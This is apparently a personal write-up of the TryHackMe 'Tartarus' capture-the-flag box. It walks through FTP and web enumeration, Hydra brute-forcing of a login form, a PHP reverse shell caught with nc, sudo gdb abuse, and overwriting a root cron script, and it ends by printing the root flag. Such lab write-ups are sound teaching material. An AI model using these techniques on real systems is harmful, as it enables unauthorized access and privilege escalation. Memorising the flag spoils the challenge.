Try Hack Me - Tartarus

This is a beginner box based on simple enumeration of services and basic privilege escalation techniques. Based Jake

Nmap

It always amazes me the number of different things a simple nmap scan might call out. I assume it's because of my lack of experience, but I constantly forget to just check robots.txt.

robots.txt

User-Agent: *
Disallow : /admin-dir

I told d4rckh we should hide our things deep.

There are two files sitting there in /admin-dir: credentials.txt and userid. We may also have seen a username of d4rckh.

Anonymous FTP

One thing I do tend to remember to try manually is anonymous FTP if the FTP service is running. This box does allow anonymous FTP, and if you look closely, you'll see something a little out of place:

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ...
-rw-r--r--    1 ftp      ftp            17 Jul 05 21:45 test.txt

In *nix operating systems, . is the current directory, and .. leads one directory "upwards" in the filesystem hierarchy. So what the heck is ...? Well you can make a directory with that name, so let's go look into it.

ftp> cd ...
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
drwxr-xr-x    2 ftp      ftp          4096 Jul 05 21:31 ...
226 Directory send OK.
ftp> cd ...
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Jul 05 21:31 .
drwxr-xr-x    3 ftp      ftp          4096 Jul 05 21:31 ..
-rw-r--r--    1 ftp      ftp            14 Jul 05 21:45 yougotgoodeyes.txt
226 Directory send OK.

Neato. That file contains just one line, /sUp3r-s3cr3t. So that's either a directory within the FTP service or the HTTP service. Turns out it's a path served in the HTTP service, which shows a login form. Since we already found files that appear to contain usernames and maybe passwords. We can set Hydra to work on it. As always, we can drastically speed this up if the site leaks some information on each attempt. The common way that CTFs intentionally leak information is by returning a different response if you get the username right or wrong. This box returns a response containing "Incorrect username!" so we can search through usernames first. Once we get a response not containing that, we can go through passwords until the response if not "Incorrect password!"

kali@kali:~/ctf/thm/tartarus$ hydra -L ./userid -p foo "http-post-form://10.10.169.212/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect username"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-11 19:33:34
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:13/p:1), ~1 try per task
[DATA] attacking http-post-form://10.10.169.212:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect username
[80][http-post-form] host: 10.10.169.212   login: enox   password: foo
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-11 19:33:36

kali@kali:~/ctf/thm/tartarus$ hydra -l enox -P credentials.txt "http-post-form://10.10.169.212/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-11 19:34:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~7 tries per task
[DATA] attacking http-post-form://10.10.169.212:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect password
[80][http-post-form] host: 10.10.169.212   login: enox   password: P@ssword1234
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-11 19:34:28

Successfully logging in via this web form leads to a page with what appears to be the ability to upload files. But upload to where? After a couple of wrong guesses it's time to lean on the tools again.

Gobuster to find where uploads might go

kali@kali:~/ctf/thm/tartarus$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.48.196/sUp3r-s3cr3t/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.48.196/sUp3r-s3cr3t/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/13 19:28:58 Starting gobuster
===============================================================
/images (Status: 301)

Obtain a shell, start poking around

Cool, cool. sUp3r-s3cr3t/images/uploads. Let's upload a reverse shell since the server is running PHP anyways. We'll use our handy [PHP Reverse Shell]() and listen on the attacking machine.

kali@kali:~/ctf/thm/tartarus$ nc -lvp 4444
listening on [any] 4444 ...
10.10.48.196: inverse host lookup failed: Unknown host
connect to [10.2.41.105] from (UNKNOWN) [10.10.48.196] 40156
Linux ubuntu-xenial 4.4.0-184-generic #214-Ubuntu SMP Thu Jun 4 10:14:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 02:33:24 up 8 min,  0 users,  load average: 0.00, 0.36, 0.31
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cd /home
$ ls
cleanup
d4rckh
thirtytwo
$ cd cleanup
$ ls
$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Jul  5 21:35 .
drwxr-xr-x 5 root root 4096 Jul  5 21:45 ..
$ cd ..
$ cd thirtytwo
$ ls -la
total 16
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Jul  5 21:38 .
drwxr-xr-x 5 root      root      4096 Jul  5 21:45 ..
-rw------- 1      1002      1002   56 Jul  5 21:39 .bash_history
-rwxr-xr-x 1 root      root       143 Jul  5 21:45 note.txt
$ cat note.txt
Hey 32, the other day you were unable to clone my github repository. 
Now you can use git. Took a while to fix it but now its good :)

~D4rckh
$

We're looking for two things at this point. #1 a flag in a user directory, #2 a flag in the root directory or owned by root. We may need a privilege escalation in order to one or both of these. This note led me to believe I'd be using git somehow. I started looking at what this account can run with sudo.

www-data@ubuntu-xenial:/home$ ls -la
ls -la
total 20
drwxr-xr-x  5 root      root      4096 Jul  5 21:45 .
drwxr-xr-x 24 root      root      4096 Oct 14 03:33 ..
drwxr-xr-x  2 root      root      4096 Jul  5 21:35 cleanup
drwxr-xr-x  2 d4rckh    d4rckh    4096 Jul  5 21:35 d4rckh
drwxr-xr-x  2 thirtytwo thirtytwo 4096 Jul  5 21:38 thirtytwo
www-data@ubuntu-xenial:/home$ cd d4rckh
cd d4rckh
www-data@ubuntu-xenial:/home/d4rckh$ ls -la
ls -la
total 16
drwxr-xr-x 2 d4rckh d4rckh 4096 Jul  5 21:35 .
drwxr-xr-x 5 root   root   4096 Jul  5 21:45 ..
-rwxrwxrwx 1 root   root    129 Jul  5 21:45 cleanup.py
-rw-r--r-- 1 d4rckh d4rckh   33 Jul  5 21:45 user.txt

Well, user.txt is world readable so that takes care of that. On to privilege escalation!

www-data@ubuntu-xenial:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu-xenial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu-xenial:
    (thirtytwo) NOPASSWD: /var/www/gdb

Ok, for some reason we can run gdb as the user thirtytwo. I know I can run shell commands from within gdb so maybe I can then find out what thirtytwo can run via sudo

www-data@ubuntu-xenial:/$ sudo -u thirtytwo /var/www/gdb
sudo -u thirtytwo /var/www/gdb
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) shell whoami
shell whoami
thirtytwo
(gdb) shell sudo -l
shell sudo -l
Matching Defaults entries for thirtytwo on ubuntu-xenial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User thirtytwo may run the following commands on ubuntu-xenial:
    (d4rckh) NOPASSWD: /usr/bin/git
(gdb) 

More evidence that git will be involved. I poked around a bit at being able to run shell commands via git commands and thought maybe git shell. But didn't get far before I started wondering about that cleanup.py script. Taking another look, it's executable by all and owned by root. Ho ho ho! What if root executes that file somehow. Like an automated thing? Let's look for cron jobs.

thirtytwo@ubuntu-xenial:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/2 *   * * *   root    python /home/d4rckh/cleanup.py
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Yippee, the script gets executed every 2 minutes, as root, and we can write it. Let's replace it with a script that takes a wild guess and copies /root/root.txt to somewhere we can read it.

#!/usr/bin/env python
import os
import sys
try:
    os.system('cp /root/root.txt /home/thirtytwo/.')
    os.system('chmod +r /home/thirtytwo/root.txt')
except:
    sys.exit()

How do we replace that script when our shell is not fully interactive so editors seem to bork and I can't be bothered to just cat the whole thing to a file from the command line? Upload it the same way we uploaded the reverse shell in the first place. Let's confirm it replaced:

thirtytwo@ubuntu-xenial:~$ cd ../d4rckh 
cd ../d4rckh
thirtytwo@ubuntu-xenial:/home/d4rckh$ ls -la
ls -la
total 16
drwxr-xr-x 2 d4rckh d4rckh 4096 Jul  5 21:35 .
drwxr-xr-x 5 root   root   4096 Jul  5 21:45 ..
-rwxrwxrwx 1 root   root    175 Oct 14 03:14 cleanup.py
-rw-r--r-- 1 d4rckh d4rckh   33 Jul  5 21:45 user.txt
thirtytwo@ubuntu-xenial:/home/d4rckh$ cat cleanup.py
cat cleanup.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('cp /root/root.txt /home/thirtytwo/.')
    os.system('chmod +r /home/thirtytwo/root.txt')
except:
    sys.exit()

And we wait....

thirtytwo@ubuntu-xenial:~$ ls -la
ls -la
total 32
drwxr-xr-x 4 thirtytwo thirtytwo 4096 Oct 14 03:16 .
drwxr-xr-x 5 root      root      4096 Jul  5 21:45 ..
-rw------- 1      1002      1002   56 Jul  5 21:39 .bash_history
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Oct 14 03:07 .nano
-rw------- 1 thirtytwo thirtytwo  615 Oct 14 03:08 .viminfo
drwxr-xr-x 2 thirtytwo thirtytwo 4096 Oct 14 02:55 git-shell-commands
-rwxr-xr-x 1 root      root       143 Jul  5 21:45 note.txt
-rw-r--r-- 1 root      root        33 Oct 14 03:16 root.txt
thirtytwo@ubuntu-xenial:~$ cat root.txt
cat root.txt
7e055812184a5fa5109d5db5c7eda7cd
thirtytwo@ubuntu-xenial:~$ 

Yay. We win. It would probably be good to go back through this one and see if there is a way to accomplish it using git somehow after all though.